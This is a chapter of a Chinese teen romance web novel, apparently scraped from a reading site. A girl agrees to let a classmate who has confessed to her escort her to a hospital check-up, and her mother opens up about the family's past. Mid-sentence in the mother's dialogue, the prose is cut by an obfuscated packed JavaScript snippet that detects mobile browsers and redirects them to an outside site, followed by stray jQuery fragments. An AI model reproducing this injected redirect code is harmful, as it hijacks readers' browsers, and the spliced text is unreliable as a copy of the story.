28. 算账

作品:《薄荷与你

    手机屏幕暗了下去。


    周围同学陆续离开教室,桌椅挪动的声响此起彼伏,扰得谢惊桃心烦意乱。


    谈介站在她桌前,目光沉沉地落在她脸上,没有半分退让的意思。


    她沉默了几秒,轻声开口:“医院人多,看病、拍片、复诊,全要排队,很麻烦。”


    “不麻烦,”谈介接得干脆,“你为什么会觉得,陪喜欢的人是件麻烦事?”


    谢惊桃猛地抬眼,撞进他眼底毫不掩饰的认真。


    不是玩笑与试探,唯有笃定。


    “以为我会明天说?”谈介轻哼一声,“你还是不够了解我,或者说,是我太了解你了。”


    教室内的学生走得一干二净,只剩他们。


    谢惊桃小幅度地向后移动,生怕折返回来个学生。


    “我喜欢你。”谈介向她迈进一步,“我告诉你了,无论你是否愿意,明天还是会去接你。”


    “就这么定了。”他伸手,自然地拎起放在桌角的书包,另一只手提着自己的,“去教室外面陪你等林潺。”


    “不……”


    “谢惊桃!”他强硬打断,语气放软了些,“不是逼你,朋友间也能陪同去医院。”


    谢惊桃张了张嘴,找不到反驳的话。


    这些天她避免刻意保持距离,心里乱成一团,偏要装得若无其事。


    门外,林潺不知从哪一句开始听的,敲了敲门板,眼神在他们之间流转一圈,识趣地没多问。


    “走了,我哥在校门口等着。”


    “来了。”谢惊桃拿过书包,背到肩上,没看谈介,“我约好时间告诉你。”


    这几天一直是林垣开车来接两人。


    大概以为两人要许久,他人并不在车里。


    林潺扒着车窗朝里面望,没见人,气冲冲地给哥哥拨去电话,打开免提:“你人呢?”


    “你俩出来了?我在附近超市,马上回来。你俩要吃什么吗?我买点儿。”


    林潺看向她。


    谢惊桃摆了摆手。


    “不吃,你快回——”林潺未说完,对面眼疾手快挂断电话。


    林垣从马路对面回来,手里提着个透明塑料袋,袋子里装着两包原味薯片和几包辣条。


    “给。”他解开车锁。


    林潺接过,上车后分给谢惊桃一半:“你明天干嘛去,真不和我们出去玩?”


    谢惊桃拆开薯片,把辣条塞回袋子里:“去医院复查。”


    “一个人啊?”林潺从薯片袋里取出一片,“我陪你?”


    “谈介说他陪我。”她轻描淡写地说道。


    “什么!”


    两道不同声线同一时间发出尖叫。


    “在教室里他真在跟你表白?”林潺惊叫道。


    “你有男朋友了?”林垣趁着红灯,扭过头来问她。


    “没有。”


    林潺一屁股挪到中间,贴着她问:“那他陪你做什么?再不济也是景思洋啊。”


    “他说他要陪我,”谢惊桃顿了下,“我同意了。”


    被迫同意,也是同意吧。


    虽然她有所私心。


    林垣踩下油门,思索道:“谈介这名字,我好像在哪儿听过。”


    “你肯定听过,”林潺小声嘟囔,“谈介和季润听是朋友,你又总和她哥混一起,多少能听到几次。”


    “也是。”


    他们没再纠结这事,谢惊桃乐得其所,靠着车窗,闭眼小憩。


    林垣依旧将她放在单元楼门口。


    推开家门,玄关处的灯亮着,鞋柜旁多了双女鞋,她换鞋的动作慢了半拍。


    陆雅安从她的卧室里走出来。


    谢惊桃烦躁地关上拖鞋,还没为妈妈又擅自进她房间而生气,对方先开了口:“之前读了几本书,觉得不错,放你书桌上了,记着看。”


    她不自然地往屋里望了眼,把书包扔到沙发上,问:“回来待几天?”


    “三天,后天走。”陆雅安坐到她身旁,“天越来越冷,明天带你去买两件羽绒服。对了,药放在电视柜下面不方便,我给挪到厨房里的橱柜了。”


    谢惊桃心慌了一瞬,转念一想,不过是一瓶褪黑素,高三学生睡眠不好正常。


    可明天她要和谈介去医院,事和人,都不能告诉妈妈。


    一阵没来由的慌张,她抓起书包,径直返回房间:“明天我和林潺出门。”


    陆雅安淡淡“哦”了一声,没追问:“出去要注意安全。”


    听到这话,她诧异地关上房门,看向屋内。


    书桌中央,整整齐齐地放着几本包着塑封纸的书,紧挨着她的平板。


    谢惊桃在书桌前坐下,打开平板,看到锁屏页面上谈介发来的信息。


    看显示出的那一条,短短“一定记着”四个字。


    约好医生,她点开和林潺的聊天框。


    【吓一跳的桃子】明天我和谈介去医院复查。


    【吓一跳的桃子】我和妈妈说的是和你出去玩。


    消息发过去没两秒,林潺的电话直接打了过来,谢惊桃慌忙按掉,改成文字回复。


    【潺潺】阿姨回家了?


    【吓一跳的桃子】嗯。


    【吓一跳的桃子】我妈明天要带我去买衣服。


    【潺潺】你们什么情况?到底在一起了没。


    【吓一跳的桃子】差不多。


    【潺潺】差不多是什么意思?成了就是成了,没成就是没成。


    她心里没底。万一谈介明天真要和她表白,她想不明白会答应,或是拒绝。


    【吓一跳的桃子】就是差不多。


    林潺被她噎住了,隔了一会儿回复。


    【潺潺】打会儿游戏,景思洋在,来不来?


    谢惊桃应下,开了游戏,却没心思打。


    两局过后,林潺要出发去临市,游戏匆匆结束。


    她反过来看谈介的消息,应该是她到楼下那会儿发的。


    【小心猫】我在上次的地铁口等你。


    【小心猫】脚还痛的话,去小区门口等你。


    【小心猫】约了时间告诉我。


    【小心猫】一定记着。


    谢惊桃扭动脚踝,走路正常,不能久走,也不能大幅扭动。


    【吓一跳的桃子】地铁口见。


    【吓一跳的桃子】我约了下午三点的医生。


    对面过了几分钟,才回过来。


    【小心猫】好。


    她盯着“好”字,一时语塞。


    接着,对面再次打字回复。


    【小心猫】数学怎么样?


    【小心猫】感觉简单了吗?


    谢惊桃蜷缩在椅子上,抱着手机,蓦地觉得他的语气像个长辈。


    她不自觉地勾起唇角。


    桌上突然出现一盘水果,随即妈妈的声音在身后响起:“在和谁聊天,笑得这么开心。”


    再寻常不过的一句打趣,在谢惊桃心里却警铃大作。


    陆雅安对她恋爱管控向来严格,她熄灭手机屏,扣到桌面上:“妈,你进来怎么不敲门?”


    “抱歉,下次会记得敲。”陆雅安平和地说,指了指桌上切好的水果,“昨天问阿姨,她说平时放在冰箱里水果你不从来主动吃,只有切好放出来的才吃,怕你维C补充不够。”


    不对劲,陆雅安从前从来不会在这种事上认错。回家到现在,她甚至没有咄咄逼人,追着她问东问西。


    其实上次回家时,就与以往不大相同,不过差别不明显,她又不愿意多想关于妈妈的事,便忽略了。


    不及深想,她叉了个梨块塞进嘴里,含混道:“想不起来吃。”


    “别总忘。”陆雅安莫名哀伤道,“偶尔我也会想,你


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364498|198257||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    是不是更像我。”


    “想这些做什么,况且,我不希望像爸爸。”她将叉子扔进盘子里,发出清脆地响声。


    陆雅安走到她床边,缓缓坐下,双手交叠在大腿面,深深叹了口气:“这些年,我时常反思自己会不会对你太苛责。爸爸的事,不止是他的错,我也有错。”


    “你没错!”谢惊桃猛然转过身,朝妈妈轻吼,“是他出轨在先……”


    “是我不愿意离婚!”陆雅安往日凌厉的眼中,此刻竟泛着水光。


    她微微前倾身体,双手撑在膝盖上,努力平复着胸腔内翻涌的酸涩。


    “是我不愿意离婚。”她指甲紧紧嵌入掌心,哽咽着说,“桃子,他是个艺术家,总喜欢满世界跑,我不同意,希望他能安稳度日。可我忘了,我爱的就是他足够洒脱。”


    陆雅安站起身,走到窗边,望着远方的灯火,苦涩道:“知道我为什么要搬家吗?因为你爸爸来找过你,全让我拦下了。他说你毕竟是他的女儿,他爱你。”


    谢惊桃想说没挡住,爸爸找到过她,也送过礼物,即便廉价,没有心意,她却放在家里或者学校。


    “你重感情、念旧情。”陆雅安声音带着自嘲的沙哑,“但别对他抱有太大希望。”


    窗户是早上开来通风的,妈妈静默地站在窗前,睡衣被吹得贴住身形,显出宽大睡衣下的瘦骨嶙峋。


    谢惊桃惊觉妈妈居然瘦得如此厉害。她和陆雅安常年见面不多,就算见到也没好脸色,更不会去仔细观察她。


    陆雅安关上窗户,拉上窗帘:“早点睡。”


    屋内恢复安静,谢惊桃坐在椅子上愣了很久。缓过神来,从抽屉里翻出那张全家福。


    妈妈说的不错,长相像爸爸,性格像妈妈。


    前些年爸爸找的频繁,近几年频率下降,一年仅有生日时能找她一次。


    桌上的手机震动两声,她抛开脑中的乱七八糟,看了眼。


    谈介没等到她回复,又发来一条。


    【小心猫】药有在喷吗?


    谢惊桃恍然,从第一天把喷雾放在抽屉里后,再没想起来过。


    她心虚地回道:


    【吓一跳的桃子】有。


    【小心猫】果然要去看看。


    按照谈介尖酸刻薄的程度,未必说的是脚踝。


    【吓一跳的桃子】看什么?


    【小心猫】你的脑子。


    【吓一跳的桃子】我就知道!


    【吓一跳的桃子】又说我!


    对面久久未回,可能真气得没办法了。


    谢惊桃回看聊天信息,许是感觉到是自己无厘头更多。打出去认错的话没发,谈介就回了过来。


    【小心猫】哪个医院?


    她看了眼小程序。


    【吓一跳的桃子】X大附属医院。


    【小心猫】我两点过去接你。


    【吓一跳的桃子】好。


    以为聊天就此结束,谈介返回去问。


    【小心猫】还没说联考感觉怎么样。


    她回想今天写数学,许多问题迎刃而解。


    【吓一跳的桃子】还可以。


    【吓一跳的桃子】说不定能够赶超你。


    【小心猫】那不叫还可以。


    谢惊桃蜷回椅子里,和他没完没了,有一搭没一搭地聊到十点多。


    怕她睡得晚,谈介两三句话结束话题,催她去休息。


    时间的确不早,她放下手机,想起没喷药,从抽屉里拿出喷雾,刚在脚上喷了一下,手机又震动了。


    她用余光瞅了眼,仍在和谈介的聊天页面上。


    【小心猫】明天找你算账。


    算账!


    算什么账!


    他怎么会知道她这几天没喷药。


    谢惊桃放下喷雾瓶,认真思考一圈,真该去查查房间内有没有监控。